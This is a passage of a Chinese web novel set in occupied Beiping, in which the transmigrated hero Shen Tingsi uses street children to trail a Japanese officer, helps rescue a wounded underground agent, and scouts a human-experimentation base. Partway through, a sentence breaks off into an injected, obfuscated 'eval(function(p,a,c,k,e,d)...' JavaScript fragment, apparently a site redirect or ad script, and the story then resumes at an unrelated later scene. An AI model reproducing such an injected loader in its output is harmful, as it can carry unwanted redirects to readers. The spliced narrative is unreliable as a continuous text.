不管那幕后之人这么做,究竟是想要联系红党,还是想要联系蓝党,他既然选择了这种登报的途径,那就说明他是独立的一个人,想要把那些被迫进行了活体研究的夏国人们救出来,这个幕后之人势必是要找同盟的。 那么他们要做的,就是在这个幕后之人找到同盟之前,将研究基地给转移了。 到时候只留一个空壳子给那些反抗者,就算他们带着人找到了地方去,也终将是竹篮打水一场空。 平川大佐将自己的想法给松井中佐说了,松井中佐也顿时明白了现在的当务之急,“是,明天我亲自带人过去,监督他们进行转移。” “松井君,辛苦了。”平川大佐点头应了一声,抬手拍了拍他的肩膀。 —— 沈听肆刚从东瀛人的租界出来,突然一个卖报的小童冲过来撞进了他的怀里,手上的报纸瞬间散落了一地。 “对不起,对不起,”小童连连道歉,都顾不得捡地上的报纸,“大爷,我不是故意的。” “没事,”沈听肆勾着唇笑了笑,蹲下身帮那小童一起捡报纸,两个人靠近一些的时候,沈听肆用极小的声音说道,“小柱子演技不错呀,都可以去拍电影了。” 小柱子羞涩一笑,悄咪咪的开口,“那个编辑部的人没有伤亡,我在东瀛人进去开始就一直在门口守着呢,连枪声都没有传来。” 虽然他知道极大的可能编辑部的人并不会被误伤,但此时听到小柱子肯定的回答,沈听肆这才是彻底的放了心。 将从地上捡起来的报纸重新塞进小柱子的手里,沈听肆轻轻冲他笑了笑,“给你,拿好了,下次可不能这么莽撞了。” 小柱子鞠躬道谢,“大爷,你可真是个好人,再见。” 看着小柱子拿着报纸一蹦一跳的离开,沈听肆勾了勾唇角,转身走向和他相反的方向。 —— 依旧是那个废弃的工厂,依旧是一群吃不饱饭的乞丐们。 当看到沈听肆手里提了好几袋子的大肉包走过来的时候,乞丐们争先恐后的冲了过来。 沈听肆并没有嫌弃他们身上的脏污,挨个的给他们发了包子,“别着急,慢慢吃,这还有很多。” 小乞丐们很高兴,许久都没有吃到热腾腾的大肉包子,“大爷,你可真是个好人。” “好人?”沈听肆呢喃着这两个字,仅仅是半天的时间,他就已经从两个不同的孩子口中听到了这句话。 可他真的是一个好人吗? 他似乎做了很多不好的事情。 只不过沈听肆也不是会钻牛角尖的人,很快的就将这个想法抛到了脑后去。 等到小乞丐们吃完以后,他这才说明了自己的来意,“我需要你们帮我做一件事,事成以后,你们可以有吃不完的大肉包子。” 一群小乞丐瞬间眼睛就亮了,“大爷,你尽管吩咐,事情都包在我们的身上!” 沈听肆将松井中佐的样貌给这群小乞丐们描述了一下,随后又说道,“知道他明天带着人大致去了哪里就好,不要跟太近了,免得你们被发现。” 这些小乞丐们看起来一个个都脏兮兮,面黄肌瘦的,可实际上,他们遍布整个北平城,东家成李家短一切鸡毛蒜皮的小事,他们全部都知道。 绝对是一个用来打听消息的好手。 而且乞丐的身份也不容易引起别人的怀疑。 为了表现出自己的诚意,沈听肆先是拿了二十个大洋给他们,“这是预付定金,等你们把消息带回来以后,我还有更多的大洋给你们。” 现在基本上百分之九十以上的夏国人生活都无比的困苦,就算很多人有心想要接济这些小乞丐们,也终究是无能为力。 所以他们终日里饥一顿饱一顿的,能维持着不被饿死就已经非常艰难了。 一下子看到这么多的钱,一群小乞丐激动的都快有些说不出话来,一个个就差对天发誓,说要一定完成沈听肆交代的事情。 —— 朝阳如火,明明时间还尚早,可耀眼的金芒却已然给大地带来了浓烈的热度。 监牢大门外面的空地上,十来个穿着长衫,学生打扮的年轻人们正十分焦急的等待着。 他们或站或立,时不时的交头接耳,可却又相顾无言,空荡的街道上,只有一群人越来越重的呼吸声。 终于,其中一个人忍不住了,那是一个长相斯文的男人,穿着一身简单的长衫,站的笔直的身影给他略显年轻的面容增添了一丝威严。 这是原主傅青隐曾经最看重的学生之一,乐倾川。 身为男二,自然是有颜有钱。 温承松平民出身,一路凭靠着自己的能力考入了北平大学,而乐倾川则是因为祖上有钱,家里人花钱将他买进了北平大学。 一开始的时候,两个人是互相看不顺眼,乐倾川瞧不上温承松“骨子里透露出来的那种穷酸气”,温承松看不起乐倾川那“有点儿臭钱就自以为高人一等的傲气”。 但在一次分组作业的时候,两个人巧合之下被分到了同一组,被迫联手对抗其他组的成员。 在这个过程当中,乐倾川明白了温承松的隐忍上进,温承松也懂得了乐倾川的张扬进取。 两个人可以说是不打不相识。 怀揣着同样梦想的少年人,很快的就成为了一对至交好友。 在后续的剧情当中,乐倾川贡献了最大的力量——资金。 此时的他还不是剧情里那个真刀实枪的上过战场的乐营长,他板着一张脸,有些焦急,“方槿,你说他们怎么还不出来?我听说东瀛人经常会对抓捕起来的夏国人用刑,承松他们该不会……” 站在他对面的方槿微微抬起头,露出一双略带悲伤的眼眸。 她是一名略微清瘦的女孩,剪着齐耳的短发,穿着时下最为流行的浅蓝色校服百褶裙。 她似是有些无奈,但语气却异常坚定,“你放心,承松肯定会没事的。” 两个人说话间,被关了整整一个月的温承松和他的同学们才终于被放了出来。 一直关在阴暗的地牢里面暗无天日,时隔一个月终于再次见到阳光,温承松都有些不适应了。 他下意识地抬手遮住了眼眶,过了好一会儿,才终于察觉到日光不再那样的刺眼。 方槿和乐倾川连带着其他的同学们一大早就在门口等着他们了,终于看到他们出来,一群人急不可耐的冲了上去。 “你……”方槿在看到温承松的一瞬间就红了眼眶,她颤抖的双手想要去触碰温承松身上的伤,可又在即将碰到的一瞬间猛地缩回了手去,“痛不痛啊?” 原本灰白色的长衫校服几乎已经变成了破布条,上面沾染了红红褐褐的血迹,整件衣服再也看不见原本的颜色。 温承松轻轻笑了一声,抬手揉了揉方槿的脑袋,“哭什么,我这不是好好的回来了吗?” “又没死……” “不许说那个字!”方槿一瞬间就急了,连忙抬手捂住了温承松的嘴巴,“你再说我就要和你生气了。” 这个时代这样的混乱,每时每刻都好似有人在死去,就当她是自私也好,她真的不希望自己身边的人就这样离开。 温承松连连点头,“好好好,我不说了,不说了。” “哎呦呦,”乐倾川不由得开始张嘴调笑两个人,学着温承松的样子,故意压低了嗓音,“不说了,不说了,我不说了~” 他的这一番表现,直接惹得同学们都哈哈大笑了起来,原本悲伤的氛围一下子变得活泼了许多。 温承松颇有些无奈的叹了一声,“你可别闹了,我们被关了这么久,身上都馊了,赶紧回去吧。” 他是喜欢方槿不错。 可现在时局动荡,山河沦陷,在国仇家恨面前,儿女情长显得太过于微不足道了一些。 更何况在现在这么一个情况下,他们每个人的命运都没有办法自己做主,说不定哪天他就牺牲了,他没有办法给方槿一个稳定而又幸福的未来。 就当他是懦夫吧。 如果胜利的那一天,他和方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且在他逃跑的过程当中,还顺手救下了一个因为受伤而昏迷的人。 那个人的真实身份是红党的地下工作者,因为这个人的缘故,乐倾川和方槿,温承松三人最终也加入了组织。 看着这雨没有丝毫要停下来的趋势,沈听肆忍不住隐隐有些担忧。 也不知道乐倾川是怎么把那个发着高烧昏迷了的红党给捡回去的。 —— 今夜的雨势来得又急又快,太过于破旧的下水道完全来不及将这些雨水全部排出去。 暴雨形成的洪流渐渐堆积起来,几乎快要淹到人的小腿肚。 医院的走廊里面也是昏昏暗暗,空当无比。 乐倾川小心翼翼的打开了药房的门,此时,守着药房的那名医生已经睡着了,躺在单人床上打着呼噜。 拍了拍自己怦怦直跳的心脏,乐倾川蹑手蹑脚的走到了一旁摆放着药品的架子边上,仔细的搜寻着。 药房里面没有开灯,他只能够通过透过窗户照进来的依稀的光亮去寻找,但幸好,他并没有花费太多的时间,就找到了盘尼西林。 这个药太过于珍贵了,整个药房也就只有一盒,乐倾川十分小心的将药装在怀里,然后蹑手蹑脚的退了出去。 可就在他刚刚走到门口的时候,窗外却突然刮来了一阵阴风,房门被猛地一下子带上,发出了巨大的一声响。 躺在单人床上昏昏欲睡的医生猛然间惊醒,冲过去开了房间的灯,然后就发现唯一的一盒盘尼西林消失不见了踪迹。 他连忙打开大门冲了出来,“有人偷走了盘尼西林!” 顿时,医院这一层的人从各个房间里面冲了出来,四处寻找着那个偷药的人。 乐倾川进来医院的时候没有敢走大门,是用绳索勾着窗户上来,此时离开的时候自然也是如此。 他连忙冲到了走廊的另一头,打开窗户,顺着绳索就滑了下去。 因为他身上穿着的衣服和医生们的白大褂区别太大了,终究还是有人发现了他的踪迹。 “在那里!不要让他跑了!” 很快的就有东瀛的士兵提着枪追了出来。 枪声在雨夜里面格外的清晰。 但也幸好这雨下的够大,乐倾川又穿了一身深色的衣服,在瓢泼大雨的掩盖之下,东拐西拐的摆脱了那些士兵。 现在他完全不敢往自己的住处去,万一要是被东瀛的士兵发现了,进而又找到了温承松,那他们这些学生都得完蛋。 于是,乐倾川选择了一条和家的方向完全背道而驰的路跑了过去。 —— 黄浊的泥水打着转,哗哗冲刷而过,一个一身黑衣打扮的男人伏倒在雨水当中。 那是一个丁字形的小巷的拐角,若不是因为墙壁微微给予了他支撑,恐怕他早就已经被水流给冲到不知道什么地方去了。 男人的身体不断的颤抖,鲜红的血色源源不断的顺着身上的伤口流淌而出,却又在绵延的大雨当中被冲刷了个干净,只剩下因为太过于疼痛而时不时剧烈抽搐的身体。 雨水渐渐的没过了他的鼻子,男人拼了命的挣扎着想要活下去,可他实在是失血太多,身体太过于虚弱了。 即便他使出了全身的力气,想要支撑起身体,却也始终是在做着无用功。 鼻腔里面渐渐涌入了浑浊的雨水,胸腔中的空气也越发的稀薄,他感觉自己的胸膛仿佛被什么东西堵住了一样,憋的他几乎喘不上气来。 他快要死了…… 如果没有人救他的话。 但就在这个时候,一道步履匆匆的脚步声伴随着一道惊雷一块响起。 看着越来越近的乐倾川,沈听肆在心里松了一口气,有了一种终于来了的尘埃落定之感。 沈听肆已经在这里等了许久,一直观察着那名红党的气息,确保他能够坚持到乐倾川的到来。 就在乐倾川一边跑一边回头看,然后一脚绊在那名红党的身上,整个人都重重的跌进雨水里的时候,给自己的面部做了一番调整的沈听肆也从拐角走了过来。 “我的天呐,你们没事吧?!”沈听肆做着夸张的表情,走过去率先把乐倾川给搀扶了起来。 乐倾川身体猛然间一绷,再看清楚沈听肆的面容确定他不是东瀛人后这才微微点点头,说道,“多……多谢。” “不客气,这个人是你的同伴吗?”沈听肆说着话,低头侧眸看向方槿,发现他的脸上面全然都是紧张的神色,眼眸当中,也充斥着怀疑的神采。 甚至是连垂在身侧的双手都攥紧了,呼吸也放浅了许多,“我不认识他,看他浑身是血的样子,好像不是什么好人。” 沈听肆不由得有些疑惑。 既然乐倾川这样的警惕,那在原剧情里,他是怎么把这个人一起带走,还悉心照顾的? 轻叹了一声,沈听肆安抚状的拍了拍乐倾川的手臂,“没事,你不用怕。” “我去看看情况,万一他是个好人的话,我们这也算做好事了嘛,毕竟救人一命胜造七级浮屠。” 乐倾川再次犹豫了一下,终究还是点头应了一声,“那……那你注意安全。” “嗯。”沈听肆走过去蹲在路边上将那人的脸从雨水当中翻了出来。 “呼——呼——” 男人就好像是搁了浅的鱼,终于回到了属于他的海洋,即便现在浑身高热,昏迷不醒,还是下意识的张开嘴巴,大口大口的呼吸了起来。 沈听肆抬手探上了他的脉搏,随后面容有些凝重。 这人伤的实在是太重了,更糟糕的是,这人的伤口已经感染发炎,必须要用到抗生素或者是消炎的药物。 但在这个关键的节点,这一类的药物全部都被严格把控着,只不过…… 如果剧情不出错的话,乐倾川怀里此时就装着一盒盘尼西林? 在沈听肆思索的间隙,乐倾川有些不放心的问了一声,“这位先生,你还好吗?他的情况怎么样?” 沈听肆抬头看向温承松,说话的语调当中带着一股让人无法反驳的坚定,“我们得救他。” 乐倾川没有问为什么,也没有迟疑,他瞬间抬步走了上来,四下观察了一下,确认周围都没有其他人后,脱下自己的外衣盖在了昏迷不醒的男人的脸上,随后义不容辞的开口道,“前面有个教堂,我们可以去躲一躲。” 沈听肆略微皱了皱眉,“你不介意?” 明明刚才的乐倾川还一脸警惕的模样,怎么突然就变换了一副说辞? 雨水打湿了乐倾川的头发,一缕一缕的贴在头皮上面,并不是很好看,但乐倾川却笑得很灿烂,他一字一顿的说道,“我相信先生和我的想法应当是一样。” 这个人身上有枪伤,绝对是反抗党的一员。 作为一个有血有肉夏国人,他绝对不会见死不救。 沈听肆笑了笑,“英雄所见略同。” 说着这话,他就抓住男人的手臂,打算将其背到自己的背上,还专门错开了他受伤的地方。 但但就在他动手的时候,乐倾川却阻止了,“我来吧。” 因为这具身体吸食了大烟的缘故,身体情况非常的差劲,那个受了伤的红党,看起来要比沈听肆壮硕的多。 而乐倾川体能什么的是不差的,背起一个成年男子来说,并不是一件太艰难的事情。 “先生帮我看着点周围的人就行。”往前走了两步,乐倾川又补充了一句。 毕竟他可没有忘记他的身后还有着追兵呢,万一被追上,连累了别人就不好了。 沈听肆轻声应下,“好。” 前进的路上,乐倾川有一搭没一搭的说着话,“我叫乐倾川,现在是北平大学的学生,不知先生名讳?” 沈听肆缓缓吐露出三个字来,“沈听肆。” “你的名字可真好听,”乐倾川勾着唇瓣笑了笑,“我以后可以叫你沈先生吗?” 沈听肆脚下的动作不停,只觉得这个人的话实在是太多了一些,“随便。” 虽然下着大雨,但两个人的速度并不慢,很快的就来到了那座教堂。 这座教堂是英吉利人建的,里面的修女和神父也全部都是英吉利人,而且他们是向着夏国人的那一方,收留了许多无家可归的孩子。 乐倾川背着人站在原地,沈听肆上前去敲了门。 很快的一名全身都裹在黑色长袍里面,只露出一张脸的修女走了出来,在看到乐倾川身上的人的一瞬间,她立马让开了道,“快点进来!” 这名修女的名字叫玛丽,快速的将两人带到了后面的一处房间里。 她指了指浴室的方向,“你先去洗个澡吧,刚淋了雨,别感冒了,我去煮点姜汤,给你们拿些换洗的衣服。” 说完这话,她就匆匆离开了。 看着玛丽如此这样熟门熟路的行为,沈听肆猜测,她说不定已经救过好几个地下党。 浴室只有一个,沈听肆让乐倾川先去洗了。 没过一会儿的时间,玛丽再次回来,手里拿了三件教父穿的柴斯特外套,“这里也没有别的衣服了,你们就先将就着吧。” 沈听肆接过衣服道谢,“麻烦了,这已经非常好了。” 就在两个人说话的时候,外面突然传来了一阵吵闹的声音,紧接着就是一个修女跑了进来,“玛丽,不好了,外面有一大群东瀛的士兵,说要搜查咱们教堂。” 6. 第 6 章 玛丽脸色变了变,转头安抚的对沈听肆开口,“你们放心在这里休息,外面的事情我可以解决。” 沈听肆对此倒不是很担心,毕竟在原本的剧情里乐倾川和这个地下党都是相安无事的。 等玛丽离开后,沈听肆便开始动手检查起了这名受了伤的男人。 刚才在外面的时候还有些看不太清晰,此时到了室内沈听肆才发现这个男人的面容年轻的紧,撑死不超过二十岁。 他身上的衣服虽然是黑色的,可却是非常明显的时下大学校园里面学生的制式。 这是一个充满着满腔爱国之血的学生。 沈听肆先是把他身上被浑浊的雨水浸透的衣服给脱了下来,随后又拿干净的毛巾蘸着温水给他擦了遍身子,最后还把玛丽拿来的那套衣裳给男人换了上去。 在换衣裳的过程当中,沈听肆又仔细的检查了一遍男人的伤势,确认他身上只有一处枪伤,且并没有伤到要害,之所以浑身都是血,是因为他身上大大小小的刀伤加起来有好几十处。 很明显的,是有人为了从他口中套取什么情报,才会下如此狠手。 而且男人现在还发着高烧,湿的毛巾放在他额头上都能冒出烟来。 沈听肆都有些担心等男人醒来的时候会发现他已经烧傻了。 “他怎么样?”乐倾川洗完澡出来看到沈听肆已经把干净的衣服穿在了这个身受重伤的陌生男人身上,下意识的开口问了一声。 “有点危险,”沈听肆盯着乐倾川的眼睛,郑重其事的说道,“如果没有消炎药的话,恐怕活不了多久了。” 乐倾川瞬间沉默了下来,虽然他相信眼前的这个青年的心是好的,而且也跟着他一块救了人,可他却并不想把自己有盘尼西林的事情暴露出来。 毕竟这实在是太危险了。 盘尼西林的价格极其昂贵,价值约等于金条,而且被严格的控制着。 他承担不起暴露的风险。 沈听肆也没想着乐倾川能够当着自己的面直接把盘尼西林给拿出来,他只是把时陈述给乐倾川而已。 随后沈听肆也走进了浴室里去。 他的脸上做了伪装,洗了可能会掉,所以沈听肆并没有洗头,只是将身上冲洗了一下。 就在沈听肆将浴室的门关上的刹那间,乐倾川小心翼翼地从怀里将纳和盘尼西林掏了出来,然后从中取下一枚药片,掰开那个昏迷不醒的男人的嘴巴,强行塞进了他的嘴里。 似乎是担心对方因为昏迷而无法下咽,乐倾川拿起放在桌子上早已经凉透了的水又灌了半杯进去。 但幸好虽然男人昏迷了,毫无意识,但终究还是有着吞咽的动作的,那枚药片在冷水的作用下,被他吃到了肚子里去。 乐倾川做贼般的坐到一旁,小心翼翼的注视着浴室的方向。 他以为沈听肆不知道他做了什么,可9999却已经将他的所作所为报告给了自家宿主。 沈听肆闻言只是轻轻笑了笑,乐倾川不是那种冷酷无情的人,他既是有能力救人,就断然不会拒绝,更何况他之前还说了那么一番话。 当沈听肆从浴室出来的时候,另外一个小修女端着两碗姜汤进来了,“这个是驱寒的,你们一人喝一碗。” 随后,她看了看躺在那里昏迷不醒的人,“玛丽修女说这个人身上的伤比较严重,你们不要轻举妄动。” 沈听肆点头,接过碗直接将里面的姜汤一饮而尽。 喝完了姜汤,身体稍稍暖和了一些,沈听肆询问道,“你这里有酒吗?” “要烈一些的那种。” 那名修女那种审视的目光看着沈听肆,“你想要干什么?” “你不能喝酒的!” “我问你要酒,只不过是因为要用来物理降温而已,”沈听肆解释了一声,抬手指向昏迷不醒的男青年,“他现在发烧了,如果不快点儿降温的话,可能会烧成一个傻子。” 毕竟盘尼西林起作用还要一段时间,物理降温要快的多。 更何况,他还得装作不知道乐倾川给这人为了盘尼西林的事情。 “原来是这样,”那修女略微有些尴尬的笑了两声,原来是她误会了,“有的,你稍等一会。” 说完这话,她快速的离开了去,过了半晌后提着一瓶白酒走了出来,“你看这个可以吗?。” 沈听肆接过酒瓶,“麻烦你再帮我找一条小一点的毛巾。” “哦……”修女愣愣的,“好。” “我来帮你一起吧。”在小修女将毛巾拿来后,乐倾川接过了毛巾,走到沈听肆身边。 “好。”沈听肆点点头,并没有拒绝。 两个人连续不断的给这人擦了三遍身子,他的烧才终于退下去了。 而这一边,玛丽修女也已经把那个搜查的东瀛人给打发了回去。 东瀛人敢在夏国人面前作威作福,但面对英吉利人却是没有那么大胆的,玛丽修女只说了他们如果要硬闯的话,就要上报英吉利的大使馆,那群东瀛的士兵就屁颠屁颠的离开了。 得知搜查的士兵已离开,乐倾川就也有些迫不及待的想要走了。 毕竟这救人是顺带的,最终的目的是把盘尼西林拿回去给温承松吃,治疗他身上的炎症。 可救人毕竟也有自己的一份,现在还昏迷不醒着,乐倾川也不好就这样一走了之。 沈听肆看出了他的纠结,“你是有什么急事吗?” 乐倾川咬了咬牙,终究还是说明了自己的意图,只不过他换了一个借口,“天这么晚了,我要是还没有回去,家里面的爹娘是要担心的,所以……” “没事,你想离开就离开吧,”沈听肆对此毫不介意,他微微摆了摆手,“这里有我看着就行。” 乐倾川点头应下,可终究还是有些不太好意思,“麻烦你了,若是日后沈先生有什么需要的,尽管告诉我。” “好。”能够得到主角团的一个承诺,似乎还是他赚了呢。 这边玛丽也稍微的检查了一下这个男人身上的伤,“还好,子弹没有打到要害,不过还是要先把子弹取出来才行。” 沈听肆试探着问了一句,“玛丽小姐这里可是有做手术用的工具?” 玛丽点点头,“有的,而且取子弹这种手术我也会做。” 英吉利人不讲究什么男女大防,她虽然是个修女,却也并不例外。 玛丽这里的手术用具说不定比红党的医疗队都要多,不仅手术刀等一应俱全,甚至连麻醉剂都有。 那人就躺在床上悄无声息的睡了一觉,那没嵌进他身体里的子弹就被取了出来。 将人送回房间的时候,玛丽还发出了一声感叹,“我们这里也没有抗生素,也不知道他要多久才能醒过来。” 沈听肆不假思索的开口,“应该会很快的。” 毕竟他可是吃了一整片盘尼西林。 —— 晨光熹微,温暖的日头灼干了昨晚的大雨,整个北平都好像被水洗过了一样,焕发着新的生机。 大雨不仅带走了污秽,也将昨日沈听肆他们留下的痕迹全部都给冲刷了个干净。 细碎的光芒,透过半透明的玻璃窗照进房间内部,缓缓的落在了躺在沙发上昏迷不醒的人身上。 似乎是因为今日的阳光有些太过于灼热,男人的眼眸不自觉的眨了眨,随后“唰”的一下睁开了来。 “我……还活着?” 周崇抬手挡住略微有些刺眼的阳光,下意识的呢喃了一声。 他伤的那样重,倒在了无人问津的小巷子里,还遇上那样的大雨,他竟然还能活下来…… 是有人救了他吗? 就在这个时候,他的头顶上传来了一道十分温润的男音,“你醒了?” 周崇下意识的顺着声音传来的方向望去。 眼前的青年身上穿着一件十分不合时宜的柴斯特外套,但除了这件衣服以外,却丝毫看不出有教堂里教父的气质。 细碎的短发自然的垂落在鬓边,露出一张线条利落,十分干净的脸,他的眉眼间一片疏淡,剔透的瞳孔当中沉淀着墨色,却隐藏着隐隐的关心。 虽然他的五官每一个都十分普通,仿佛只要扔进人堆里面,就再也找不到了,可浑身上下却都透露着一股让人不自觉的想要亲近。 沈听肆看他愣愣的不说话,抬手在他眼前挥了挥,“你……没傻吧?” 昨天身上烫成那个样子,万一真的把脑袋烧坏了,他可就失去了最直接的和红党取得联系的机会了。 “没……没有,”周崇急忙开口解释,可却才只说了两个字,就因为牵扯到了伤口,疼得他有些呲牙咧嘴的。 “你别急,”沈听肆将他摁回床上,“你伤的太重了,要慢慢修养。” 周崇忽然想到了自己身上的枪伤,猛然间警觉了起来,“你是什么人?!” 一般人遇到他这种情况,不叫巡捕房的人来就已经是谢天谢地了,又怎么可能毫无防备之心的把他带到家里面,还给他治伤? 这人一定是对他有所图才对。 周崇挣扎着想要起身,可他现在实在是浑身没劲,除了急出了一头的汗,弄得身上的伤口越发的疼痛了以外,他的身体依旧停留在原地,没有大幅度的挪动。 沈听肆幽幽叹了一声,“我要是想对你做些什么,趁你昏迷不醒的时候做不就好了,又何必等到你醒过来对我产生警惕呢?” 虽然周崇将这话听了进去,但却依旧没有对沈听肆产生太大的信任,“我叫周崇,请问你是?” 沈听肆缓缓吐出三个字来,“沈听肆。” 周崇眨了眨眼睛,有些茫然,“没听说过。” 沈听肆莞尔一笑,“这不是很正常的吗?” “那倒也不是。”周崇微微摇了摇头,虽然沈听肆看起来长相普通,可这浑身的气度不是一般人能够所拥有的。 只不过他还是有些怀疑,这个人为什么会救了他。 “吃饭了,”玛丽端着食物进来的时候,就看到周崇正在和沈听肆聊天,十分惊讶的说了句,“呀,你竟然这么快就醒了?” 周崇看着玛丽的脸陷入了沉思。 一个教父,一个修女,这里到底是什么地方? 就在他疑惑不解的时候,玛丽已经开口解答了,“这里是圣母教堂,你就安心的在这里养伤吧,东瀛人是不敢轻而易举的闯进来的。” 说着这话,玛丽将手里的粥递了过来,“你身上的伤需要吃些清淡的,这个粥正合适,你可以多吃一点。” 周崇瞬间有些不太自在,毕竟他还是头一次和修女这般近距离的接触,他接过那碗粥点点头,“麻烦了。” 吃完饭后沈听肆扶着周崇躺下,“最近一段时间,你就好好的躺着养伤,非必要的时候不要乱动。” 周崇很乖巧的应下,“好。” “行,”沈听肆随后又提到了另外一件事,“我想你应该知道我们猜出来你的身份了……” 周崇忽然有些紧张,下意识的吞了吞口水。 沈听肆全当做没有看到他的这番表现,只自顾自的说着话,“我也想要替我的国家出一份力,不知道你清不清楚东瀛人在做人体实验的事情……” 周崇瞳孔皱缩,猛然间抬头,目光直勾勾的盯沈听肆。 此时的他一颗心砰砰直跳,几乎都快要从胸腔里面蹦出来了。 因为他受伤就是和这件事情有关。 半个多月前的时候,他们截获了一份东瀛人的电报,破译出来后得知是东瀛人在做人体研究。 而且似乎是这项研究已经到了最为关键的地步,需要大量的活体。 为了能够赶在东瀛人将最终结果研究出来之前,他们必须要找到这个研究基地,并且将其毁坏。 周崇就是因为潜入了东瀛人的租界,在试图找到有关于活体研究的资料的时候,却被东瀛的士兵给发现了。 虽然他侥幸逃脱了东野人的追捕,可却也受伤严重。 周崇低着眉,心中有些疑惑。 这么重要的情报,眼前这个人又是从哪里获得的消息呢? “暂时先别想那么多,”沈听肆手拍了拍周崇的肩膀,“先安心养伤吧。” 因为还要去东瀛人的租界那里上班,沈听肆也不可能一直陪着周崇,就抬手写下了一个地址,正是那个小乞丐们所居住的废弃工厂,“如果你想通了,就到这里来等我,我每天晚上六点钟都要固定去那里一趟。” 沈听肆知道周崇不会这么轻易的相信他。 只不过…… 日久见人心。 等这件事情被证实了,他也就可以顺势而为的加入红党了。 周崇默默的点了点头。 这样也好,留点时间让他好好考虑考虑这个所谓的沈先生究竟是人还是鬼。 —— 小乞丐们不负众望,他们一路跟着松井中佐,竟然真的找到了活体研究基地的所在地。 沈听肆从他们手里接过那份绘制的歪歪扭扭的地形图,将答应他们的大洋递了过去,“干的不错,只不过这件事情我不希望你们泄露分毫,否则的话……” 他故意板下了脸来,露出一副凶相。 果不其然,那几个小乞丐被吓得一愣一愣的,纷纷摇头说不会把这件事情说出去。 沈听肆笑了笑,揉了揉其中一个小乞丐的脑袋,“好,我相信你们。” 毕竟他来见这些小乞丐的时候也是经过了一番装扮的,定然不会将自己的真容展露在他们面前。 拿到地形图的当天晚上,沈听肆就直接开车出发了。 是的,作为一个前朝的三品大员的后代,傅家还是相当有钱的,像小汽车这种奢侈品,自然也是不缺。 只不过因为之前沈听肆去的每一个地方距离都比较近,所以就没有用到这项奢侈品。 这个研究基地其实并不远,就在北平城往东五百里左右的地方。 一路开出城区,沈听肆将汽车停在了一处林子里,用一些杂草将其遮盖住,随后步行前往。 此时已然到了半夜,整个研究基地都是一片黑暗,就连看守的士兵也在打着盹。 沈听肆单手撑着墙,借力后直接攀了上去。 上辈子学了武功,虽然内力不在了,但是招式还是记得住的,爬个墙什么的也不在话下。 当然,对于一般人而言或许会比较有困难,毕竟这个墙足足有四层楼那么高。 沈听肆也并没有打算直接闯进去,毕竟他一个血肉之躯,肯定是比不过这些洋枪土炮的。 他只是趴在顶层的窗户上,往下看了看而已。 可此时仅仅是通过不太透明的玻璃看见了这一幕,沈听肆便有些沉默了起来。 入眼是一片刺目的红,巨大的空间里,摆满了大大小小的玻璃罐子,而那些罐子中,满满的都是浸泡在不知名液体中的人。 无数根手指粗细的管子通过罐子口伸进去,插遍了全身。 而更让人感到难以置信的是,那数千个泡在不知名液体中的人,竟然全部还都活着! 且毫不意外的,那些人全部都属于夏国。 9999瞬间变了腔调,【这简直就是丧心病狂!】 东瀛人想要研究出一些不惧怕高科技威慑炮,宛若小强一般打不死的士兵将其送上战场,以此来获得更多的地盘和资源。 可他们却从不拿自己人做实验。 浸泡在罐子里的那些人,或许已经可以说是完全称不上人了。 虽然他们的大体形状还是一个人类的样子,可有的人皮肤上面长出了类似于水族动物那样的鳞片,还有的人身上长出了羽毛,甚至有的连五官都发生了变化,奇形怪状的仿佛是个怪物。 这项研究没法继续,也不能再继续下去,必须得将其毁了。 就是不知道那些泡在罐子里面的人,究竟还有没有可以活下来的机会。 沈听肆踩好了点,并没有打草惊蛇,随后便直接原路返回了。 —— 他每天下了班,都会先回家给自己做个易容,然后再翻墙出来,到那处废弃工厂去。 等了三天,沈听肆再次见到了周崇。 虽然他此时脸色依旧苍白,甚至走路的时候还一瘸一拐的,可精气神却非常好。 看到沈听肆的时候,周崇的眼睛骤然间亮了亮,“我的上级要见你。” 沈听肆没想到自己竟然这么快就能再次见到另外一个地下党。 这些地下党的根据地是在一处破旧的贫民窟,这里住的虽然不全然都是乞丐,却也全部都是一群被生活所困的人。 破旧的房屋墙体摇摇欲坠,满地都是垃圾,时不时的还能够遇到一些就地躺着睡觉的人们。 沈听肆在周崇的带领下,在一处格外狭窄的房子前停了下来,只不过在进去之前,周崇在歉意的说了一声,“抱歉,沈先生,为了保证我们的人的安全,我需要对你进行一个搜身。” “自然可以。”沈听肆很顺从的张开了双臂,由着周崇去搜查。 沈听肆原本就是抱着最大的诚意来的,周崇自然是不会在他身上搜查出一些什么东西来。 进了屋子后,沈听肆看到里面坐着三名男子,其中两名年纪较轻,而坐在当中的那个看起来有四五十岁,续着一把胡须。 更为重要的是,沈听肆认识这个人。 他就是现在北平大学的校长陈尽忠。 周崇兴致勃勃地介绍着,“陈老师,这位就是我之前向你所说的沈先生,那天如果不是他的帮忙,我恐怕早就已经死了,根本不会再继续站在这里。” 陈尽忠微微冲沈听肆点了点头,“沈先生,多谢。” “陈老师言重了,”沈听肆并没有想要抹藏掉另外一个人的功劳的意思,“当时救下周周崇的人不仅仅只有我一人,有一人是北平大学大三年级的学生乐倾川,只不过因为当时太晚了,他急着回家,所以才留我一人来照顾周崇。” 陈尽忠对于沈听肆的印象本就挺好的,如今听了这话对他更是满意了。 “我也就不说这些虚的了,”沈听肆喜欢快刀斩乱麻,“东瀛人做活体实验的研究基地我已经找到了具体的位置,而且我还得到消息,他们似乎也知道有人发现了那个地方,所以正在准备做战略转移,我们如果想要毁了这个基地的话,就需要尽快的做出决策了。” “一旦等他们成功转移,我们之前所有的努力都将会白费。” 陈尽忠全然一副相信沈听肆的样子,“沈先生说的有道理。” 可转而他又迟疑了起来,“但是目前这个研究基地的具体位置,只有沈先生一人知道,我不敢带着我那么多的同志冒险,还望沈先生谅解。” 沈听肆深以为然的点了点头,“我理解陈老师的顾虑,如果陈老师不介意的话,可以派人跟我一起前去看上一眼。” 陈尽忠也正好有此打算,“那就由我和你一块去。” 话音落下,包括周崇在内的三个人急忙开口阻拦,“万万不可!” 陈尽忠不仅是北平大学的校长,更是他们这些地下组织者的领头之人,一但陈尽忠出了什么事,那他们这些人又该怎么办? 这样做实在是太冒险了。 周崇急忙开口道,“让我去吧。” 他这一条小命,要是能换得毁掉了整个活体研究的研究基地,那也算是死得其所了。 